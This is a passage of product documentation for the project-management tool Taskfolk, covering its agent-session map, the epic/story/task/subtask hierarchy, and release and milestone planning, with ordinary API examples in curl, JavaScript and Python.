"https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions?state=needs_input" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions?state=needs_input", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const { data } = await res.json(); for (const s of data) console.log(s.agent_name, s.issue_key, s.note); ``` ```python import os import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", params={"state": "needs_input"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) for s in res.json()["data"]: print(s["agent_name"], s["issue_key"], s["note"]) ``` Each session in the response carries the same facts a map node shows: `agent_name`, `state`, `title`, `note`, `external_url`, `issue_key`, `started_at`, `last_activity_at`, and `ended_at`. The map is the human view of that data; the endpoint is the machine view. ## Expanding, collapsing, filtering, and navigating Once you can read the map, the rest is moving around it. A few controls do the work. **Expand all** and **Collapse all** open or close the whole tree at once. Collapse all is disabled when nothing is expanded, so the button state itself tells you whether there's anything to collapse. For finer control, click any parent node to toggle just that branch open or closed. When a parent is collapsed and has hidden children, it wears a "+N" badge so you know how much is tucked underneath, say a project node showing +4 for four agents you haven't expanded. **Filter the map** is the box you'll reach for most on a busy workspace. Type into it and matching branches auto-open so you see the hits without hand-expanding, and the view refits once the filter settles. Session and task nodes that don't match dim out rather than vanish, so you keep the surrounding structure for context while the matches stand out. **Clicking a leaf navigates.** A session or assignment node with an issue behind it opens that issue when you click it. A project node opens that project's board. So the map isn't a dead diagram, it's a launcher. See a stalled session on WEB-42, click it, land on the ticket. A session node also carries an up-right arrow icon that opens the agent's external work link (a PR or a run URL) in a new tab, so you can jump straight to the actual pull request or run log the agent produced. For getting around the canvas: pan by dragging, zoom by scrolling, and use the **MiniMap** (pannable and zoomable) plus the zoom **Controls** to move around a large tree. The background is a dotted grid. At low zoom, nodes render in a compact form, dropping their badges and notes so the overall shape stays legible when you're zoomed out to see everything. Top-right there's an export-image button that saves the current map as an image, handy for dropping into a standup doc or a status update. Two honest notes on interaction. There are no keyboard shortcuts specific to the Bot map. It's all mouse and pointer: click nodes, drag to pan, scroll to zoom, use the controls. Don't hunt for a hotkey that isn't there. And if you drag an individual node around, that only repositions it visually on the canvas. It does not reassign work or change any data. Move a node wherever it's comfortable to look at; nothing about the underlying agent or task changes. ## Limits and mistakes to avoid Everything the map deliberately doesn't do, in one place, so you never fight it expecting otherwise. **It's one batch, up to 25 agents.** Agents are capped at 25 per workspace, which is exactly why the whole map loads in a single batch with no lazy-loading of agents. You're never waiting on agents to page in. **The renderer caps at 900 nodes.** Beyond that, the tree truncates and shows "Showing the first slice. Filter to narrow it down." That's your cue to use the filter box rather than expect an unlimited canvas. On a full workspace with many projects and many live sessions, you narrow with the filter, not scroll forever. **Single workspace only.** Not org-wide, not cross-workspace. One workspace's team. **Active work only.** Done and cancelled sessions are hidden; failed stays visible on purpose. This is not a session history log. If you need the full record of everything an agent has ever run, that lives elsewhere. **The dot is an aggregate, not a session.** Attention beats running beats review beats failed beats idle. One color for the whole agent. Don't read it as one session's state. **Assigned is not a run.** A dimmed "Assigned" item is a queued issue with no session yet. It tells you what's next, not what's live. **Stalled is a heuristic.** Running or pending with no activity for 30-plus minutes, re-derived on the client every 30 seconds. It's a hint that an agent has gone quiet, not a stored state and not a hard failure. **The "Unverified" badge is not on the map.** That badge, which flags a review or done session with no attributed activity on its issue, lives on the Bots page List and the issue-activity surfaces, not as a control on the map. Don't go looking for it here. So when do you reach for which? Use the List when you're managing the roster: connecting an agent, checking a key, reading the Unverified badge, confirming who's set up. Use the Map when you're managing the work: is anything stuck, who owns the failure, which project is overloaded, what's actually moving. The list is the setup surface. The map is the situational-awareness surface. If you're building up your agent team, the map makes more sense once the surrounding pieces are in place. [Managing a team of AI agents](/blog/manage-a-team-of-ai-agents) covers the whole operating model. [Delegating work to an agent](/docs/how-to-delegate-work-to-an-agent) is how those Assigned and session nodes land on the map in the first place. [Setting agent field permissions](/docs/how-to-set-agent-field-permissions) is worth reading before you hand agents write access to issues. And if the radial layout feels familiar, [the Mindmap](/docs/how-to-use-the-mindmap) uses the same engine for your issues and projects. --- # How to organize work with epics and subtasks URL: https://taskfolk.ai/docs/how-to-organize-work-with-epics-and-subtasks Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: issue tracking, how-to, Taskfolk Learn Taskfolk's epics, stories, tasks, subtasks hierarchy: group work under an epic, break issues into subtasks, read the progress bar, and the rules it enforces. You shipped a feature last week. It touched the upload flow, the settings page, and two API routes, so you made a ticket for each part. Eight tickets later, they are scattered across the backlog like loose change, and when someone asks "how's the attachments work going," nobody can answer without opening all eight and reading them. That is the exact pain the epics stories tasks subtasks hierarchy in Taskfolk is built to fix. But it only helps if you know which relationship does which job, and that is where most people get it wrong. Taskfolk gives you five issue types and two ways to connect them. That is the whole model. It is deliberately shallow, and by the end of this you will be able to group related work under an epic, break a single ticket into a checklist of subtasks, read the progress at a glance, and climb back up the chain without losing your place. You will also know the handful of things the model refuses to do, so you do not fight it. ## The problem: five types, two relationships, one place people get lost Here is the mess we are fixing. You have a flat pile of tickets. Some are big ("Attachments upload"), some are small ("Add the presigned PUT endpoint"), some are bugs ("Progress bar sticks at 99%"), and no visible line connects any of them. Everything sits at the same level. The board shows twenty cards and not one of them tells you which belong together. Taskfolk has exactly five issue types: epic, story, task, bug, and subtask. That is the complete list. There is no "feature" type, no "initiative," no custom hierarchy levels you can invent. Five. And the entire hierarchy rests on two relationships, which are independent of each other: 1. **Subtask to parent** (stored as `parent_id`). A subtask points at exactly one parent issue. 2. **Any non-epic to epic** (stored as `epic_id`). A story, task, or bug can point at one epic that groups it. That is it. Two links. They live in two separate database columns and they never merge into a single chain. Once you internalize that these are two different tools for two different jobs, the whole thing clicks. Miss it, and you will spend your afternoon trying to force an "epic to story to subtask" tree that Taskfolk was never designed to enforce. This is flat grouping, not a deep tree. Keep that in your head as we go. ## What each issue type is actually for Types are not decoration. They tell everyone reading the board what kind of thing a ticket is, and they change what the issue can do. The one-screen version: | Type | Job | Example from the WEB demo project | |---|---|---| | Epic | Container for a real initiative, groups other issues | "Timeline + Summary surfaces" | | Story | User-facing slice of an epic | "Drag and drop a file onto an issue" | | Task | Build work that is not itself user-facing | "Add the presigned PUT endpoint" | | Bug | Something broken that needs fixing | "Progress bar sticks at 99%" | | Subtask | Checklist step inside one of the above | "Write the migration" | Here is how I actually use each one. **Epic.** A big body of work that takes more than one ticket to finish. "Attachments upload" is an epic. "Reporting" is an epic. An epic is a container for related work, and it is the only type that groups other issues. If you can describe a chunk of work as a project-within-the-project, it is probably an epic. Do not spin up epics for small things. One epic per real initiative is the right density. **Story.** A user-facing slice of an epic. Something a person will notice when it ships. "Drag and drop a file onto an issue" is a story. "See an upload progress bar" is a story. Stories are how you cut an epic into shippable pieces that each mean something to a user. **Task.** Build work that is not, by itself, user-facing. "Add the presigned PUT endpoint" is a task. "Wire the R2 CORS allowlist" is a task. Tasks are the engineering steps behind a story. Sometimes a task stands alone with no story or epic above it, and that is fine. **Bug.** Something is broken and needs fixing. "Progress bar sticks at 99%" is a bug. Bugs behave like tasks structurally. They can sit under an epic, they can hold subtasks. The type just tells everyone this is a defect, not new work. **Subtask.** A checklist step inside one of the above. Not a standalone unit of work. A step. "Write the migration," "add the test," "update the docs" are subtasks of a task or story. A subtask exists only in service of its parent. If you are unsure which type a new piece of work should be, this is the decision in practice: ```mermaid flowchart TD A[New piece of work] --> B{Bigger than one ticket} B -->|yes| C[Epic] B -->|no| D{A step inside an existing ticket} D -->|yes| E[Subtask on that parent] D -->|no| F{Something broken} F -->|yes| G[Bug] F -->|no| H{Users will notice it ship} H -->|yes| I[Story] H -->|no| J[Task] ``` Now the part that surprises people. When you open the New issue dialog, you can only pick four of the five types: Task, Story, Bug, and Epic. There is no Subtask option in that dialog, on purpose. A subtask is born from a parent, not created loose. You make one from inside the ticket it belongs to, which we will do in a minute. The reasoning is simple: a subtask with no parent is a contradiction, so Taskfolk never gives you a way to create one adrift. ## How the hierarchy really links: epic_id vs parent_id This is the load-bearing section. Read it twice if you need to, because everything else depends on it. Two relationships, two columns, two different jobs: - `epic_id` **groups a story, task, or bug under an epic.** This is a flat grouping. The story does not become a child of the epic in a nesting sense. It gets tagged as belonging to that epic. Think of it as a folder label, not a branch on a tree. - `parent_id` **points a subtask at its one parent.** This is the parent-child link, and it is what makes something a subtask in the first place. The whole model fits in one picture: ```mermaid flowchart TD S[Story] -->|epic_id| E[Epic] T[Task] -->|epic_id| E B[Bug] -->|epic_id| E SB[Subtask] -->|parent_id| S ``` These two fields are indexed separately in the database (`issues_epic_idx` and `issues_parent_idx`) and they never collapse into each other. A story under an epic has an `epic_id` and a null `parent_id`. A subtask under that story has a `parent_id` and (usually) a null `epic_id`. Different columns, different meanings. Here is the misconception I want to kill right now. Taskfolk does **not** enforce an "epic to story to subtask" chain as one rigid tree. A subtask does not automatically inherit its grandparent's epic, and you should not model your work as if there is a single deep enforced hierarchy. What you actually have is two independent links you use as needed. One more thing that trips people up. A subtask's parent can be a story, a task, a bug, or even an epic. The `parent_id` link does not care about the parent's type (with one exception we will cover in the rules section). So "epic with direct subtasks" is a legal shape. It is just usually not the shape you want, because subtasks are for checklist steps and epics are for big grouping. But the model allows it, and it will not stop you. ## Group a new story or task under an epic Let's do the grouping first, because it is the more common daily move. Say you are building out the Reporting epic and you need a story for the new "Timeline + Summary tab." Click **New issue**. In the dialog, pick your **Work type**: Task, Story, Bug, or Epic. For our example, pick Story. Now look for the **Parent epic** picker. It shows for every non-epic type (epics cannot go under an epic, so the picker hides the moment Work type is Epic). Open it, and it lists the project's existing epics. You would pick "Reporting" here. ![The New issue dialog with the Work type selector, where the Parent epic picker appears for every non-epic type](/images/blog/how-to-create-an-issue-new-issue-dialog.webp) A few things worth knowing about this picker. It lists non-deleted, non-archived epics from the current project, capped at 200. If your project has no epics yet, you see a **No epics yet** state instead of a list, which is your cue to create the epic first and come back to file work under it. The default, when you pick nothing, is **None**, meaning the issue belongs to no epic. Here is the critical part, and it ties straight back to the previous section. The Parent epic picker writes `epic_id`. It does **not** write `parent_id`, and it does **not** make your new story a subtask. Your "Timeline + Summary tab" story stays a story. It just now carries a label saying it belongs to the Reporting epic. Grouping under an epic and parenting a subtask are two separate operations, and this dialog does the first one only. If you came here hoping to create a subtask, wrong place. That is the Subtasks card, next. The same grouping works over the [REST API](/docs/how-to-use-the-rest-api). The create endpoint takes `epic` as a plain `KEY-NUM` string (the key needs the `issues:write` scope): ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"type": "story", "title": "Timeline + Summary tab", "epic": "WEB-1"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ type: "story", title: "Timeline + Summary tab", epic: "WEB-1", }), }, ); const { data } = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"type": "story", "title": "Timeline + Summary tab", "epic": "WEB-1"}, ) data = res.json()["data"] ``` A successful create returns `201` with the new issue, and you can see both link columns sitting side by side in the response (trimmed here): ```json { "data": { "key": "WEB-31", "type": "story", "title": "Timeline + Summary tab", "status": "backlog", "parent_id": null, "epic_id": "0197a3c2-...", "url": "https://taskfolk.ai/w/taskfolk/p/web/WEB-31" } } ``` `epic_id` is set, `parent_id` is null. A story under an epic, exactly as the picker would have made it. For a refresher on the create dialog itself (templates, assignees, the rest of the fields), see [how to create an issue](/docs/how-to-create-an-issue). ## Break an issue into subtasks from the Subtasks card Now the other relationship. Open any issue that is not itself a subtask, and scroll its detail page to the **Subtasks** card. This is where subtasks are born. If the issue has none yet, you see a dashed placeholder and **No subtasks yet.** Click **+ Add subtask**, and an inline row appears with a **Subtask title...** input and **Add** / **Cancel** buttons. Type a title (up to 255 characters), then press **Enter** or click **Add** to create it. Change your mind mid-type? Press **Escape** and the draft clears. A **Subtask added.** toast confirms each one landed. ![An issue detail page showing the Subtasks card where new subtasks are added inline](/images/blog/how-to-create-an-issue-issue-detail-subtasks.webp) Under the hood this calls `createSubtask`, a thin wrapper over the normal issue-create logic that sets the type to `subtask` and stamps the current issue as the `parent_id`. So a subtask is a real issue with its own key, its own detail page, its own everything. It is just typed as a subtask and pointed at its parent. That is why subtasks are missing from the New issue dialog: the only correct place to make one is from the parent that will own it, and this card is that place. Over the API, the same shape is `type: "subtask"` plus `parent` as a `KEY-NUM` string: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"type": "subtask", "title": "Write the migration", "parent": "WEB-7"}' ``` Adding subtasks needs the same permission as creating any issue (`issue.create`), so if you are a viewer, the add affordance will not show. The classic use is breaking a story into its real steps. Take the seeded "attachments upload" story in WEB, which ships with five subtasks. Instead of one vague story that sits half-done for a week, you get: write the migration, add the presigned intent action, wire the browser PUT, add the commit-and-verify step, write the test. Five concrete steps you can check off one at a time, all inside one ticket, so the board still shows one story card and not five loose ones. ## Read the progress bar and check subtasks done Once a card has subtasks, it earns a progress bar, and this is where the whole thing pays off. The card header reads **{done} of {total} done** with a live percentage next to it, and a bar underneath. The bar fills yellow while there is work left and turns green the moment you hit 100%. So a story with three of five subtasks done shows "3 of 5 done," 60%, and a yellow bar. Finish the last two and it flips green. It is the fastest read on "how far along is this really" that Taskfolk gives you. ![A story detail page with a populated Subtasks card: the progress bar, the "{done} of {total} done" text with a live percentage, and checkbox rows for each subtask, the core payoff of breaking a ticket into checklist steps.](/images/blog/how-to-organize-work-with-epics-and-subtasks-story-with-subtasks.webp) The math is simple: percent is `round(done / total * 100)`. The definition of "done" has a sharp edge worth understanding, though. A subtask counts as done **only** when its status category is exactly `done`. Not "in review." Not "cancelled." Done. We come back to what that excludes in the limits section, because it matters more than it looks. Checking things off is the satisfying part. Each subtask row has a checkbox: - Check a subtask that is not done, and it moves to the `done` category (the toggle reads **Mark as done**). - Uncheck a done subtask, and it moves to `todo` (labelled **Mark as not done**). - The toggle is optimistic, so the bar updates the instant you click; if the server write fails, it reverts. Watch one behavior: unchecking always lands the subtask on `todo`. It does not restore whatever in-progress or in-review column the subtask sat in before it was marked done. The checkbox is binary. Done or todo, nothing between. Each row also links out. You get the monospace **KEY-NUM** key (like WEB-42), the title (struck through when done), and a status badge resolved from the project's custom board status. Click the key and you land on that subtask's own detail page. A subtask is never a dead line of text. It is a full issue you can assign, comment on, and track like any other. ## Navigate up with the Epic and Parent context chips You have built the hierarchy. Here is how it surfaces when you are three tickets deep and need to climb back out. Open any issue's detail page and look at the header. If the issue has an `epic_id`, you see an **Epic** chip. If it has a `parent_id`, you see a **Parent** chip. Both are links, and both point up the chain. This is the two-relationship model made visible. Standing on a subtask, the **Parent** chip takes you to the story or task that owns it. Standing on a story, the **Epic** chip takes you to the epic it belongs to. Because the two links are independent, an issue can show one chip, both, or neither. A story grouped under an epic shows Epic. A subtask shows Parent. A subtask whose parent story is itself under an epic could show both, depending on how it was created. Read the chips and you always know where you are and how to get back up. No breadcrumb hunting, no "which epic was this again." ## The rules Taskfolk enforces (and the four mistakes it blocks) Taskfolk guards the hierarchy so it cannot land in an incoherent state. Four containment rules are checked at create time, and they fire identically whether you create the issue in the UI or through the v1 API. You hit these as error messages if you try to break them: 1. **A subtask must have a parent.** "Subtasks need a parent issue." You cannot create a subtask floating in space. (This is also why the New issue dialog has no Subtask option: there is no parent to attach it to.) 2. **Only a subtask may have a parent.** "Only subtasks can have a parent. For stories under an epic, set epicId." This is the rule that keeps `epic_id` and `parent_id` from getting confused. Want a story under an epic? Use the epic link, not the parent link. 3. **A parent cannot itself be a subtask.** "Parent cannot itself be a subtask." Subtasks are leaves. They do not get their own children, so you cannot point a new subtask at an existing subtask. 4. **An epic cannot be nested under another epic.** "An epic cannot be nested under another epic." Epics are the top of the grouping. No epic-of-epics. Over the API these come back as a `400` with a `validation` error envelope. Try to give a plain task a `parent` and you get: ```json { "error": { "code": "validation", "message": "Only subtasks can have a parent. For stories under an epic, set epic.", "details": { "field": "parent" } } } ``` On top of the create-time rules, the edit path adds two guards. You cannot change an existing issue's type **to** subtask through editing ("Cannot change type to subtask here"), and you cannot re-type a subtask to something else without first detaching it from its parent ("Cannot change the type of a subtask"). These stop you sneaking an issue into an illegal shape after the fact. None of these are arbitrary. They are the guardrails that keep the two-link model honest, so every subtask really has a parent and no epic ever ends up buried under another. Notice what is not on the list. No rule against a bug having subtasks (it can). No depth cap beyond epic-under-epic. No cross-type restriction past the four above. Do not invent constraints that are not there. ## Limits worth knowing before you lean on this The model is deliberately shallow, and being honest about where it stops saves you frustration later. **No arbitrary depth.** Subtasks cannot have their own subtasks. The Subtasks card does not even render on a subtask's detail page. So there is no epic-to-story-to-subtask-to-sub-subtask tree. Two levels of grouping is the ceiling: an epic groups issues, and an issue holds subtasks. If you feel yourself wanting a third level, that is a signal to promote a subtask into a full story or task and put it under the epic instead. **The card shows at most 50 subtasks.** Beyond 50 it stops listing inline and shows "Showing the first {n} subtasks." with a link to view all in the list view. If one ticket has more than fifty subtasks, that is usually a ticket that should have been an epic with several stories under it. **"Done" is exact, and cancelled does not count.** The progress bar counts a subtask as done only when its status category is precisely `done`. A cancelled subtask still shows, with its badge, but it counts as not done for the percentage. The practical consequence: a parent can read under 100% even when there is genuinely no open work left, because a cancelled subtask is dragging the number down. Do not read the bar as "everything is resolved." Read it as "everything reached the done category." If you want a clean 100%, you may need to actually mark the abandoned subtask done rather than cancelled, or just accept the number. **The checkbox is binary.** As covered above, unchecking a done subtask always sends it to `todo`, never back to whatever in-progress column it was in. If you need finer control over a subtask's status, open the subtask itself and move it on the board. **No reparenting, no convert-to-subtask.** There is no drag-to-reparent, no "move this subtask to a different parent," and no way to turn an existing task into a subtask. The Subtasks card only creates new subtasks and toggles them done. If you filed a task by mistake and wanted it as a subtask, the honest path today is to create the subtask fresh under the right parent and close or delete the original. Not elegant, but it is what exists. ## A workflow that holds up Here is the playbook I would hand a new teammate. One epic per real initiative. "Attachments upload," "Reporting," "Billing v2." Not one epic per week, not one per person. One per genuine body of work. Create the epic first so the Parent epic picker has something to point at. File stories, tasks, and bugs under that epic using the **Parent epic** picker as you create them. A story for each user-facing slice, tasks for the build steps that nobody sees, bugs as they surface. This is your grouping layer, and it is what makes the epic a useful lens weeks later when you need to answer "how's the attachments work going" in one click. Use subtasks only for genuine checklist steps inside a single ticket. "Write the migration, add the test, update the docs." If a subtask starts to feel like its own unit of work that someone would assign and track on its own, stop. Promote it to a task or story under the epic instead. The tell is dead simple: if you want to give a subtask its own subtask, it should not have been a subtask. Day to day, this pairs with the rest of the product cleanly. The [kanban board](/docs/how-to-use-a-kanban-board) shows your stories and tasks moving across columns while their subtasks track quietly inside. The [backlog](/docs/how-to-prioritize-your-backlog) is where you rank the stories and tasks under each epic before they get pulled into work. And when the structure gets big enough that a flat list stops helping, the [mindmap](/docs/how-to-use-the-mindmap) draws the whole tree so you can see the shape of it at once. ![The project mindmap drawing the full issue tree so you can see the shape of an epic and its children at once](/images/blog/how-to-use-the-mindmap-project-overview-collapsed.webp) Get the two relationships right, epic grouping for related work and subtasks for checklist steps, and eight loose tickets become one epic with three clear stories, each with its own steps ticking toward green. That is the whole point of the epics stories tasks subtasks hierarchy. Not more structure for its own sake, but exactly enough that anyone can look at the board and know what belongs to what. Open your busiest project, find the initiative that is currently a pile of loose tickets, make it an epic, and file the rest underneath it. --- # How to plan releases and milestones URL: https://taskfolk.ai/docs/how-to-plan-releases-and-milestones Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: project planning, how-to, Taskfolk Plan releases and milestones in Taskfolk: create them, attach issues, read the progress meter, draft AI release notes, and set who is allowed to change them. You've got thirty issues piling up in project WEB and a stakeholder asking "so what's actually shipping in v1.2, and when?" A backlog can't answer that. It's a pile, ranked at best. What you need is software release planning: milestones and releases that draw a line around a set of issues and give it a name, a date, and a way to see how close it is to done. Taskfolk has two features built for exactly this, and they sit right in your project tab bar. This tutorial walks both end to end using project WEB as the running example: how to create a release and a milestone, how to attach issues, how to read the progress meter honestly, and how to tell releases, milestones, and sprints apart so you reach for the right one. By the end you'll answer that stakeholder in about ten seconds. ## Software release planning with milestones: what the two features actually are Your backlog is a flat, ranked list of everything open. That's the right shape for deciding what to work on next. It's the wrong shape for answering "what's in the next version, and are we close?" Nothing in a backlog groups thirty issues into "this is v1.2" and tells you eighteen of them are done. That's the gap releases and milestones fill. A **release** is a versioned bundle of work you track from planned to shipped. It carries a version string (like v1.2.0), a status that moves Planned to In progress to Released, and a single target date. It answers "what ships in this version." A **milestone** is a dated grouping for a release or an iteration. It has a start date and a due date, so a range rather than a single point, plus three statuses and a progress meter. Read it as "this body of work, between these two dates." Both live in the project tab bar, next to Sprints, Board, List, Calendar, Timeline, and Mindmap. In project WEB they're at their own tabs, **Releases** and **Milestones**. Open Releases on a fresh project and you land on the empty state, because nothing's been created yet. ![The Releases tab in its empty state, showing "No releases yet" with the prompt to create a release that groups the issues shipping in a version, and the New release button](/images/blog/how-to-plan-releases-and-milestones-releases-empty.webp) That "No releases yet" screen, with the line "Create a release to group the issues shipping in a version," is your starting point. If you're following along on the demo instance, this is exactly what you'll see. The seed doesn't create any releases or milestones for you. You build them yourself, which is the whole point of this tutorial. ## Releases vs milestones vs sprints (which one to reach for) This is the single most confused distinction in the product, so let's settle it before you create anything. Three features, three jobs. | | Release | Milestone | Sprint | |---|---|---|---| | Job | Versioned shipping | Dated grouping of work | Short time-boxed iteration | | Statuses | Planned, In progress, Released, Cancelled | Planned, Active, Completed | Its own lifecycle on the Sprints tab | | Dates | One target date | Start date and due date | Usually one or two weeks | | Extras | Version field, AI release notes, GitHub auto-ship | Name and progress bar deep-link to a filtered List | Active-sprint pill in the project header | **Releases** are for versioned shipping. Four statuses: Planned, In progress, Released, Cancelled (color-coded neutral, yellow, green, pink). They carry a Version field, a single Target date, AI-drafted release notes, and can auto-ship from a GitHub tag. Reach for a release when the thing you're planning has a version number and a "we shipped it" moment. **Milestones** are for dated groupings. Three statuses: Planned, Active, Completed. They have a Start date and a Due date, and that's the extent of it. No version field, no AI notes, no GitHub integration. Reach for a milestone when you want to draw a dated box around a chunk of work that doesn't map cleanly to a single version, like "Q3 onboarding rework" or "beta hardening." **Sprints** are something else. A sprint is the short, time-boxed iteration your team runs, usually one or two weeks, and it lives on its own Sprints tab with an active-sprint pill in the project header. If milestones and releases are the long-horizon groupings (weeks to months), a sprint is the short loop you run inside them. ![The Sprints tab in a project, the home of the short time-boxed iteration that runs alongside releases and milestones](/images/blog/how-to-run-a-sprint-sprints-page.webp) An issue can sit in a sprint and a milestone at the same time, which is normal. The sprint says "we're working on this now," the milestone says "this belongs to the beta." If you want to run that short loop, it's a separate workflow covered in [how to run a sprint](/docs/how-to-run-a-sprint). The rule of thumb, as a picture: ```mermaid flowchart TD Q1{Has a version and ships?} -->|yes| R[Release] Q1 -->|no| Q2{A dated chunk of work?} Q2 -->|yes| M[Milestone] Q2 -->|no| Q3{Work for this week or next?} Q3 -->|yes| S[Sprint] ``` ## How to create a release in a project From the Releases tab, click **New release**. That opens the New release modal. Every field here earns its place, so let's walk them. ![How to plan releases and milestones - new release modal](/images/blog/how-to-plan-releases-and-milestones-new-release-modal.webp) - **Name** is required and caps at 120 characters. This is the human label, not the version, so make it read like something a stakeholder would recognize. "Autumn launch" is a good name. "v1.2.0" is not, because that's the version. Good names describe the moment or the theme, not the number. - **Version** is optional, up to 64 characters. Something like v1.2.0. Leave it blank if this release isn't tied to a semantic version and you just want a named bundle. - **Status** starts at Planned, and you'll almost always leave it there when you first create the release. The four states are Planned, In progress, Released, and Cancelled, each with its own color so you can scan a table and read state at a glance. - **Target date** is the single date you're aiming for. One date, not a range. That's the sharpest difference from a milestone, and it matters. - **Description** is markdown, up to 10,000 characters. This is where you write what the release is about, link to a spec, or list the highlights. It's also the field the AI release-notes feature fills in later, so it's worth having. Save with **Add release**. One behavior worth knowing up front: when you eventually move a release to **Released**, Taskfolk stamps the ship time at that moment. Move it back out of Released for any reason and that timestamp clears. You never set it by hand. The status change is the ship event. ```mermaid stateDiagram-v2 state "In progress" as ip [*] --> Planned Planned --> ip ip --> Released: ship time stamped Released --> ip: ship time cleared Planned --> Cancelled ip --> Cancelled ``` ## Track release progress from planned to shipped Once you've got a release or two with issues attached, the Releases table earns its keep. Each row shows the name (with a version chip if you set one), a color-coded status badge, the target date, and a progress meter. That progress meter is the part people misread, so here's exactly what it means. It shows **done / total** of the live issues attached to the release, with a tooltip that reads "{done}/{total} done". "Total" is every non-deleted issue attached. "Done" is every attached issue whose status category is done **or** cancelled. Yes, cancelled counts as done for this meter. A cancelled issue is resolved. It's not outstanding work anymore, so it shouldn't drag your bar down forever. Read the meter as a done-count, not a percentage of effort. It is not a percent-complete slider and it is not a story-point rollup. If a release shows 18/30, that means eighteen of the thirty attached issues are resolved, full stop. A three-line bug and a two-week epic each count as exactly one issue here. Keep that in mind before you promise a stakeholder you're "60% done" in any effort sense. You can edit a release without opening the modal: - **Status** and **target date** are editable inline, right in the table row. These edits are optimistic: the UI updates instantly and reverts if the server rejects the change. Moving a release from Planned to In progress is a one-click affair. - **Ordering** is manual. Drag a release by its move handle, or nudge it with the up and down chevrons. The order persists via LexoRank under the hood, with the target date as a tiebreak, so releases you haven't explicitly ordered still fall into a sensible date order. One honest limit: there is no release detail page. The release row doesn't link anywhere. The table is the whole surface for a release, so everything you need to know lives in that one row. Milestones are different here, as you'll see next. ## How to create a milestone and set due dates Switch to the **Milestones** tab and click **New milestone**. The New milestone modal looks similar, but the fields tell a different story. - **Name** is required, max 120 characters, same as a release. "v1.0 launch" or "Beta hardening" both work. - **Status** offers three states: Planned, Active, Completed. These are not the release statuses. A milestone doesn't get "Released" or "Cancelled." It's Planned before you start, Active while work is happening, Completed when the dated chunk is done. - **Start date** and **Due date** are the headline difference from a release. A milestone spans a range. And Taskfolk validates it: set a start date that falls after the due date and it stops you with "Start date must be on or before the due date." A release, by contrast, has only that single Target date. If the thing you're planning has a beginning and an end you care about, that's a milestone. - **Description** is markdown, up to 10,000 characters, same as a release, minus the AI drafting. Milestones have no AI notes. Save with **Add milestone**. The milestone table shares the release table's progress meter and the same reorder mechanics (drag handle or chevrons, LexoRank with due date as the tiebreak). But milestones have one thing releases don't: the milestone name and its progress bar are links. Click either and you're taken to the List view filtered to that milestone, with the URL carrying `/list?milestone=`. That's your live "everything in this milestone" view, and it's genuinely useful. A release row links nowhere. A milestone links to its filtered list. If you want a clickable, always-current view of a grouping's issues, that alone is a reason to reach for a milestone. ## Assign issues to a milestone or release Creating the container is half the job. Now you fill it. There are two paths, and they suit different moments. **Bulk, from the milestone.** On the Milestones tab, each milestone row has an **Add issues** button. Click it and you get a modal titled "Add issues to {name}" with a search box ("Search open issues...") over the project's open, un-milestoned issues. It searches issues whose status category is backlog, todo, in_progress, or in_review (open work, in other words) that aren't already in a milestone. Each result is a checkbox row showing the issue number and title. As you tick them, a "{n} selected" counter updates, and you commit with **Add {n}**. Concretely, say you're building a "v1.0 launch" milestone in WEB: 1. Open its **Add issues** picker. 2. Search "timeline", then check "Timeline + Summary tab" and its sibling issues. 3. Watch the counter climb to "4 selected." 4. Click **Add 4**. Four issues, one action, done. This is the fastest way to populate a milestone from scratch, and it's why milestones feel quicker to fill than releases. (Note this bulk picker is milestone-only. Releases don't have an equivalent "Add issues" button, so releases fill up through the per-issue path below.) **Per-issue, from the right rail.** Open any WEB issue from the Board or the List, click a card or a row. In the right rail, alongside assignee and labels, you'll find a **Release** row and a **Milestone** row, each a picker. The Release picker includes a "No release" option; the Milestone picker includes "No milestone." Pick one and the issue is assigned. Setting the Release row writes a release id onto the issue; setting the Milestone row writes a milestone id. That's the whole mechanism. An issue "belongs to" v1.2 because it carries that release's id, nothing more magic than that. This path is perfect when you're already looking at an issue and realize it belongs to the next version. You don't go hunting through a picker of thirty issues, you set it right there. One important detail: these rows only appear once the project actually has at least one release or milestone. On a fresh project with neither, you won't see the rows at all. That's by design (there's nothing to pick yet). Create the container first, then the picker shows up. Then comes the payoff, which is filtering. The List page loads milestone and release filter options, so you can slice your issues by either. And because that milestone name and progress bar deep-link to `/list?milestone=`, you get a live "everything in v1.2" view without maintaining a saved search by hand. Assign issues to the milestone, click its name, and there's your list, always current. ![The List view with its filter controls, the surface a milestone's name and progress bar deep-link into](/images/blog/how-to-filter-and-sort-issues-overview.webp) If the Board and List views are new to you, they're covered in [how to use a kanban board](/docs/how-to-use-a-kanban-board) and, for ranking the pile before you group it, [how to prioritize your backlog](/docs/how-to-prioritize-your-backlog). ## Draft AI release notes and auto-ship from a GitHub tag Here's where releases pull ahead of milestones. Two capabilities milestones don't have. **AI release notes.** Open an existing release's Edit modal (the pencil icon) and, if AI is enabled for your workspace, you'll see a **Draft with AI** button. Click it and Taskfolk reads the issues linked to that release and summarizes them into markdown, grouped as `## Features`, `## Fixes`, and `## Other`, with each bullet citing the issue KEY so you can trace every line back to the work. The draft that lands in the Description field is shaped like this: ```markdown ## Features - Timeline gets a Summary tab with per-status counts (WEB-27) ## Fixes - Board drag no longer drops rank on slow networks (WEB-31) ## Other - Seed data refreshed for the demo workspace (WEB-35) ``` While it runs the button reads 